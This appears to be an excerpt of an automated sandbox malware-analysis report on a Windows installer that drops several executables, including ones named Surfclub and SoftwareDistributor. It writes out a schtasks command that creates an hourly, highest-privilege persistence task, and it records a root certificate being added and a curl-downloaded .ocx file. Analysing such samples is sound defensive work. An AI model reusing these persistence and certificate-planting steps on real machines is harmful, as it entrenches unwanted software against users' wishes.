Source:	Binary string: /_/src/Serilog.Formatting.Compact/obj/Release/net8.0/Serilog.Formatting.Compact.pdb source: MainSoftware.exe, 00000013.00000002.2485427774.000001CE9F7A8000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2485674994.000001CE9F911000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Text.Encoding.Extensions\Release\net8.0\System.Text.Encoding.Extensions.pdbSHA2560 source: MainSoftware.exe, 00000013.00000002.2489754059.0000020F376D2000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Security\Release\net8.0-windows\System.Net.Security.pdb source: MainSoftware.exe, 00000013.00000002.2488625597.0000020F371C1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2488546167.0000020F37179000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\AICustAct.pdb source: setup.exe, 00000000.00000003.1748683968.0000000009A2F000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: System.Security.Cryptography.ni.pdb source: MainSoftware.exe, 00000013.00000002.2488665246.0000020F37216000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2488782180.0000020F372E1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.AppContext/Release/net8.0-windows/System.AppContext.pdb source: MainSoftware.exe, 00000013.00000002.2490110262.0000020F37755000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2555282561.000001A507DF5000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Http.Json\Release\net8.0\System.Net.Http.Json.pdb source: MainSoftware.exe, 00000013.00000002.2489453415.0000020F37561000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489389183.0000020F3754A000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2554946567.000001A507DB1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Runtime.InteropServices.ni.pdb source: MainSoftware.exe, 00000013.00000002.2489367223.0000020F37531000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489300922.0000020F37515000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Linq\Release\net8.0\System.Linq.pdbSHA256R source: MainSoftware.exe, 00000013.00000002.2487020549.0000020F351A3000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2487094284.0000020F351D1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2540077777.0000016470123000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/Microsoft.Extensions.Primitives/Release/net7.0/Microsoft.Extensions.Primitives.pdb source: MainSoftware.exe, 00000013.00000002.2487133129.0000020F35202000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\Prereq.pdb source: setup.exe, 00000000.00000003.1748683968.0000000009A2F000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Text.Encodings.Web\Release\net8.0\System.Text.Encodings.Web.pdb source: MainSoftware.exe, 00000013.00000002.2489754059.0000020F376DA000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489851537.0000020F376F1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Http\Release\net8.0-windows\System.Net.Http.pdb source: MainSoftware.exe, 00000013.00000002.2487586989.0000020F353C1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2487462974.0000020F35318000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\windows.x64.Release\Corehost.Static\singlefilehost.pdb source: setup.exe, 00000000.00000003.1996568847.000000000BD1E000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000013.00000002.2517588700.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp, MainSoftware.exe, 00000013.00000000.2458595284.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp, MainSoftware.exe, 00000018.00000000.2467569570.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ComponentModel.Primitives\Release\net8.0\System.ComponentModel.Primitives.pdb source: MainSoftware.exe, 00000013.00000002.2489210974.0000020F374E1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489144792.0000020F374C9000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Sockets\Release\net8.0-windows\System.Net.Sockets.pdb source: MainSoftware.exe, 00000013.00000002.2502593462.0000020F3A561000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2502506832.0000020F3A521000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.Intrinsics\Release\net8.0\System.Runtime.Intrinsics.pdb source: MainSoftware.exe, 00000013.00000002.2489892751.0000020F37714000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489956997.0000020F37721000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Net.Http.ni.pdb source: MainSoftware.exe, 00000013.00000002.2487586989.0000020F353C1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2487462974.0000020F35318000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime\Release\net8.0\System.Runtime.pdb source: MainSoftware.exe, 00000013.00000002.2485338304.000001CE9F783000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2485407545.000001CE9F791000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Buffers/Release/net8.0-windows/System.Buffers.pdb source: MainSoftware.exe, 00000013.00000002.2490110262.0000020F37759000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\SoftwareDetector.pdb source: setup.exe, 00000000.00000003.1748683968.00000000098C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Text.Encoding.Extensions\Release\net8.0\System.Text.Encoding.Extensions.pdb source: MainSoftware.exe, 00000013.00000002.2489754059.0000020F376D2000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\lzmaextractor.pdb source: setup.exe, 00000000.00000003.1748683968.00000000098C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Principal.Windows\Release\net8.0-windows\System.Security.Principal.Windows.pdb source: MainSoftware.exe, 00000013.00000002.2503289063.0000020F3A631000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503182962.0000020F3A611000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2575095760.000001A50ACF1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.ThreadPool\Release\net8.0\System.Threading.ThreadPool.pdbSHA2560 source: MainSoftware.exe, 00000013.00000002.2488855338.0000020F373A3000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503137120.0000020F3A601000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Net.Primitives.ni.pdb source: MainSoftware.exe, 00000013.00000002.2487646877.0000020F3547B000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2487805041.0000020F354A1000.00000020.00000001.00040000.0000000A.sdmp

Source: setup.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: setup.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: setup.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: setup.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: setup.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

.NET source code contains potential unpacker

Source: 35.2.Surfclub.exe.2b03bf49000.43.raw.unpack, ReflectionMemberAccessor.cs

.Net Code: CreateParameterlessConstructor

Source: shiFAE8.tmp.0.dr

Static PE information: 0xC7FEC470 [Wed Apr 29 05:06:56 2076 UTC]

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_0048CF30 SHGetFolderPathW,GetSystemDirectoryW,GetWindowsDirectoryW,GetWindowsDirectoryW,GetModuleFileNameW,SHGetSpecialFolderLocation,LoadLibraryW,GetProcAddress,GetEnvironmentVariableW,SHGetPathFromIDListW,SHGetMalloc,

0_2_0048CF30

Source: setup.exe	Static PE information: section name: .didat
Source: setup.exe	Static PE information: section name: .fptable
Source: MainSoftware.exe.0.dr	Static PE information: section name: .CLR_UEF
Source: MainSoftware.exe.0.dr	Static PE information: section name: .didat
Source: MainSoftware.exe.0.dr	Static PE information: section name: Section
Source: MainSoftware.exe.0.dr	Static PE information: section name: _RDATA
Source: SoftwareDistributor.exe.0.dr	Static PE information: section name: .CLR_UEF
Source: SoftwareDistributor.exe.0.dr	Static PE information: section name: .didat
Source: SoftwareDistributor.exe.0.dr	Static PE information: section name: Section
Source: SoftwareDistributor.exe.0.dr	Static PE information: section name: _RDATA
Source: ShortcutFlags.dll.0.dr	Static PE information: section name: .fptable
Source: MSIFD70.tmp.0.dr	Static PE information: section name: .fptable
Source: MSIFDA0.tmp.0.dr	Static PE information: section name: .fptable
Source: shiFAE8.tmp.0.dr	Static PE information: section name: .wpp_sf
Source: shiFAE8.tmp.0.dr	Static PE information: section name: .didat
Source: MSIFB66.tmp.0.dr	Static PE information: section name: .fptable
Source: MSIFC13.tmp.0.dr	Static PE information: section name: .fptable
Source: MSIFC71.tmp.0.dr	Static PE information: section name: .fptable
Source: MSIFCA1.tmp.0.dr	Static PE information: section name: .fptable
Source: MSIFCD1.tmp.0.dr	Static PE information: section name: .fptable
Source: MSIFD11.tmp.0.dr	Static PE information: section name: .fptable
Source: MSIFD41.tmp.0.dr	Static PE information: section name: .fptable
Source: MSIFEF9.tmp.0.dr	Static PE information: section name: .fptable
Source: MSIFF39.tmp.0.dr	Static PE information: section name: .fptable
Source: MSIFF68.tmp.0.dr	Static PE information: section name: .fptable
Source: SoftwareDistributor.exe.1.dr	Static PE information: section name: .CLR_UEF
Source: SoftwareDistributor.exe.1.dr	Static PE information: section name: .didat
Source: SoftwareDistributor.exe.1.dr	Static PE information: section name: Section
Source: SoftwareDistributor.exe.1.dr	Static PE information: section name: _RDATA
Source: MainSoftware.exe.1.dr	Static PE information: section name: .CLR_UEF
Source: MainSoftware.exe.1.dr	Static PE information: section name: .didat
Source: MainSoftware.exe.1.dr	Static PE information: section name: Section
Source: MainSoftware.exe.1.dr	Static PE information: section name: _RDATA
Source: MSI437D.tmp.1.dr	Static PE information: section name: .didat
Source: MSI437D.tmp.1.dr	Static PE information: section name: .fptable
Source: MSI5FC1.tmp.1.dr	Static PE information: section name: .fptable
Source: MSI6001.tmp.1.dr	Static PE information: section name: .fptable
Source: MSI608E.tmp.1.dr	Static PE information: section name: .fptable
Source: MSI6C09.tmp.1.dr	Static PE information: section name: .fptable
Source: MSI4251.tmp.1.dr	Static PE information: section name: .fptable
Source: MSI42FE.tmp.1.dr	Static PE information: section name: .fptable
Source: MSI433D.tmp.1.dr	Static PE information: section name: .fptable
Source: shi3FF0.tmp.6.dr	Static PE information: section name: .wpp_sf
Source: shi3FF0.tmp.6.dr	Static PE information: section name: .didat
Source: Install.exe.part.10.dr	Static PE information: section name: .CLR_UEF
Source: Install.exe.part.10.dr	Static PE information: section name: .didat
Source: Install.exe.part.10.dr	Static PE information: section name: Section
Source: Install.exe.part.10.dr	Static PE information: section name: _RDATA
Source: Install.exe.24.dr	Static PE information: section name: .managed
Source: Install.exe.24.dr	Static PE information: section name: hydrated
Source: 262810.ocx.33.dr	Static PE information: section name: .fptable
Source: Surfclub.exe.34.dr	Static PE information: section name: .CLR_UEF
Source: Surfclub.exe.34.dr	Static PE information: section name: .didat
Source: Surfclub.exe.34.dr	Static PE information: section name: Section
Source: Surfclub.exe.34.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_08390A3C push esi; iretd	0_3_08390A43
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_08390A3C push esi; iretd	0_3_08390A43
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_08390A3C push esi; iretd	0_3_08390A43
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_08390A3C push esi; iretd	0_3_08390A43
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_08390A3C push esi; iretd	0_3_08390A43
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_08390A3C push esi; iretd	0_3_08390A43
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_08390A3C push esi; iretd	0_3_08390A43
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_08390A3C push esi; iretd	0_3_08390A43
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_05498472 push eax; ret	0_3_05498881
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_05498472 push eax; ret	0_3_05498881
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0549FC2C pushad ; iretd	0_3_0549FC2D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0549FC2C pushad ; iretd	0_3_0549FC2D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0549E53B push ebx; iretd	0_3_0549E899
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0549E53B push ebx; iretd	0_3_0549E899
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_08390A3C push esi; iretd	0_3_08390A43
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_08390A3C push esi; iretd	0_3_08390A43
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_08390A3C push esi; iretd	0_3_08390A43
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_08390A3C push esi; iretd	0_3_08390A43
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_08390A3C push esi; iretd	0_3_08390A43
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_08390A3C push esi; iretd	0_3_08390A43
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_08390A3C push esi; iretd	0_3_08390A43
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_08390A3C push esi; iretd	0_3_08390A43
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_08390A3C push esi; iretd	0_3_08390A43
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_08390A3C push esi; iretd	0_3_08390A43
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_08390A3C push esi; iretd	0_3_08390A43
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_08390A3C push esi; iretd	0_3_08390A43
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_05498472 push eax; ret	0_3_05498881
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_05498472 push eax; ret	0_3_05498881
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0549FC2C pushad ; iretd	0_3_0549FC2D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0549FC2C pushad ; iretd	0_3_0549FC2D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0549E53B push ebx; iretd	0_3_0549E899

Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6264\lzmaextractor.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Program Files (x86)\Atomix\Addons\Surfclub\Install.exe (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\MSIFC13.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\MSIFCA1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6C09.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\MSIFD11.tmp	Jump to dropped file
Source: C:\Program Files (x86)\Main\MainSoftware.exe	File created: C:\Program Files (x86)\Main\Chop\Install.exe	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\MSIFC71.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923\ProgramFilesFolder\Main\MainSoftware.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5FC1.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\MSIFCD1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI433D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI608E.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923\Addons\SoftwareDistributor.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI437D.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\MSIFDA0.tmp	Jump to dropped file
Source: C:\Windows\System32\curl.exe	File created: C:\Users\user\AppData\Local\Temp\262810.ocx	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\shi3FF0.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\shiFAE8.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\MSIFEF9.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\Main\MainSoftware.exe	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\MSIFF68.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6001.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\MSIFD41.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Program Files (x86)\Atomix\Addons\Surfclub\Install.exe.part	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI42FE.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6264\ShortcutFlags.dll	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\MSIFF39.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\MSIFB66.tmp	Jump to dropped file
Source: C:\Program Files\Surfclub\Install.exe	File created: C:\Program Files\Surfclub\Surfclub.exe	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\MSIFD70.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI4251.tmp	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI437D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6001.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6C09.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI42FE.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5FC1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI433D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI608E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI4251.tmp	Jump to dropped file

Source: C:\Windows\SysWOW64\msiexec.exe

File created: C:\Program Files (x86)\Atomix\Addons\Surfclub\Install.exe.part

Jump to dropped file

Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923\Addons\Surfclub\How to uninstall.txt	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923\How to uninstall.txt	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\Atomix\Addons\Surfclub\How to uninstall.txt	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\Atomix\How to uninstall.txt	Jump to behavior

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Program Files (x86)\Main\MainSoftware.exe

Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /create /sc hourly /tn "MyPersistentApp_Hourly" /tr "\"C:\Program Files (x86)\Main\MainSoftware.exe\" Loop" /ru "user-PC\user" /RL HIGHEST /f

Source: C:\Users\user\Desktop\setup.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\743AF0529BD032A0F44A83CDD4BAA97B7C2EC49A Blob

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX

Source: C:\Program Files (x86)\Main\MainSoftware.exe	Memory allocated: 1CE9DE90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Memory allocated: 1646E7D0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Memory allocated: 222142F0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Main\Chop\Install.exe	Memory allocated: 1BF6FC60000 memory reserve \| memory write watch
Source: C:\Program Files\Surfclub\Install.exe	Memory allocated: 23D4C830000 memory reserve \| memory write watch
Source: C:\Program Files\Surfclub\Surfclub.exe	Memory allocated: 26FA2560000 memory reserve \| memory write watch

Source: C:\Program Files (x86)\Main\MainSoftware.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Surfclub\Install.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Surfclub\Surfclub.exe	Thread delayed: delay time: 922337203685477

Source: C:\Program Files (x86)\Main\MainSoftware.exe	Window / User API: threadDelayed 4918
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Window / User API: threadDelayed 526
Source: C:\Program Files\Surfclub\Install.exe	Window / User API: threadDelayed 685
Source: C:\Program Files\Surfclub\Surfclub.exe	Window / User API: threadDelayed 451

Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6264\lzmaextractor.dll	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIFCA1.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIFC13.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI6C09.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIFD11.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIFC71.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI5FC1.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIFCD1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI433D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI608E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI437D.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIFDA0.tmp	Jump to dropped file
Source: C:\Windows\System32\curl.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\262810.ocx	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\shi3FF0.tmp	Jump to dropped file
